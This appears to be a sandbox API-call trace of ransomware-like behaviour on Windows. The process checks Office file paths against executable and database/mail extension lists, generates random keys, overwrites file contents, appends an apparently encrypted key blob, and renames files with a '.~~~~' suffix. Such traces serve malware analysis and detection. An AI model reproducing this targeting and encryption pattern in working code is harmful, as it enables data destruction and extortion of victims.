	[0145.975] lstrlenW (lpString=".ckp") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.975] lstrlenW (lpString=".dbt") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.975] lstrlenW (lpString=".db") returned 3
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0145.975] lstrlenW (lpString=".TXT") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.975] lstrlenW (lpString=".MDF") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.975] lstrlenW (lpString=".bdb") returned 4
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.975] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.976] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0145.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.977] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0145.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.977] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26596688220) returned 1
	[0145.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc068fcd0, dwHighDateTime=0x1d60e1e)) 
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380580
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380580 | out: hHeap=0x300000) returned 1
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0145.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0145.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.978] GetLastError () returned 0x0
	[0145.978] GetLastError () returned 0x0
	[0145.978] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.978] GetLastError () returned 0x0
	[0145.978] GetLastError () returned 0x0
	[0145.978] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xd3, lpOverlapped=0x0) returned 1
	[0145.979] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffff2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.979] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xd3, lpOverlapped=0x0) returned 1
	[0145.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.980] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.980] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.980] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.980] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.980] CloseHandle (hObject=0x10c) returned 1
	[0145.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0145.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.~~~~")) returned 1
	[0145.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.982] GetLastError () returned 0x0
	[0145.983] RtlWakeConditionVariable () returned 0x0
	[0145.983] GetCurrentThreadId () returned 0x3a4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.983] lstrlenW (lpString=".cmd") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.983] lstrlenW (lpString=".dll") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.983] lstrlenW (lpString=".bat") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.983] lstrlenW (lpString=".cpl") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.983] lstrlenW (lpString=".sys") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.983] lstrlenW (lpString=".msc") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.983] lstrlenW (lpString=".com") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.983] lstrlenW (lpString=".lnk") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.983] lstrlenW (lpString=".msp") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.983] lstrlenW (lpString=".pif") returned 4
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.983] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.985] lstrlenW (lpString=".sqb") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.985] lstrlenW (lpString=".ost") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.985] lstrlenW (lpString=".txt") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.985] lstrlenW (lpString=".mdt") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.985] lstrlenW (lpString=".BDB") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.985] lstrlenW (lpString=".eql") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.985] lstrlenW (lpString=".DBF") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.985] lstrlenW (lpString=".EQL") returned 4
	[0145.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.986] lstrlenW (lpString=".FDB") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.986] lstrlenW (lpString=".EDB") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.986] lstrlenW (lpString=".DACPAC") returned 7
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.986] lstrlenW (lpString=".VHD") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.986] lstrlenW (lpString=".DBV") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.986] lstrlenW (lpString=".dacpac") returned 7
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.986] lstrlenW (lpString=".sdf") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.986] lstrlenW (lpString=".accdb") returned 6
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.986] lstrlenW (lpString=".DBX") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.986] lstrlenW (lpString=".MDT") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.986] lstrlenW (lpString=".SQB") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.986] lstrlenW (lpString=".vhd") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.986] lstrlenW (lpString=".bac") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.986] lstrlenW (lpString=".mdf") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.986] lstrlenW (lpString=".BAK") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.986] lstrlenW (lpString=".BAC") returned 4
	[0145.986] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.986] lstrlenW (lpString=".dbs") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.987] lstrlenW (lpString=".vhdx") returned 5
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.987] lstrlenW (lpString=".NDF") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.987] lstrlenW (lpString=".dat") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.987] lstrlenW (lpString=".DBS") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.987] lstrlenW (lpString=".CKP") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.987] lstrlenW (lpString=".edb") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.987] lstrlenW (lpString=".PST") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.987] lstrlenW (lpString=".dbf") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.987] lstrlenW (lpString=".SQL") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.987] lstrlenW (lpString=".pst") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.987] lstrlenW (lpString=".dbv") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.987] lstrlenW (lpString=".SDF") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.987] lstrlenW (lpString=".dtxs") returned 5
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.987] lstrlenW (lpString=".db3") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.987] lstrlenW (lpString=".OST") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.987] lstrlenW (lpString=".dbx") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.987] lstrlenW (lpString=".DB3") returned 4
	[0145.987] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.988] lstrlenW (lpString=".DAT") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.988] lstrlenW (lpString=".VHDX") returned 5
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.988] lstrlenW (lpString=".ndf") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.988] lstrlenW (lpString=".DB") returned 3
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.988] lstrlenW (lpString=".sql") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.988] lstrlenW (lpString=".MYD") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.988] lstrlenW (lpString=".DBT") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.988] lstrlenW (lpString=".ACCDB") returned 6
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.988] lstrlenW (lpString=".fdb") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.988] lstrlenW (lpString=".bak") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.988] lstrlenW (lpString=".myd") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.988] lstrlenW (lpString=".DTXS") returned 5
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.988] lstrlenW (lpString=".ckp") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.988] lstrlenW (lpString=".dbt") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.988] lstrlenW (lpString=".db") returned 3
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.988] lstrlenW (lpString=".TXT") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.988] lstrlenW (lpString=".MDF") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.988] lstrlenW (lpString=".bdb") returned 4
	[0145.988] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.988] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.989] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.989] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0145.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.990] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0145.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.990] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26598000595) returned 1
	[0145.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc06b5e30, dwHighDateTime=0x1d60e1e)) 
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380548
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380548 | out: hHeap=0x300000) returned 1
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7090
	[0145.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.991] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.991] GetLastError () returned 0x0
	[0145.991] GetLastError () returned 0x0
	[0145.991] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.991] GetLastError () returned 0x0
	[0145.991] GetLastError () returned 0x0
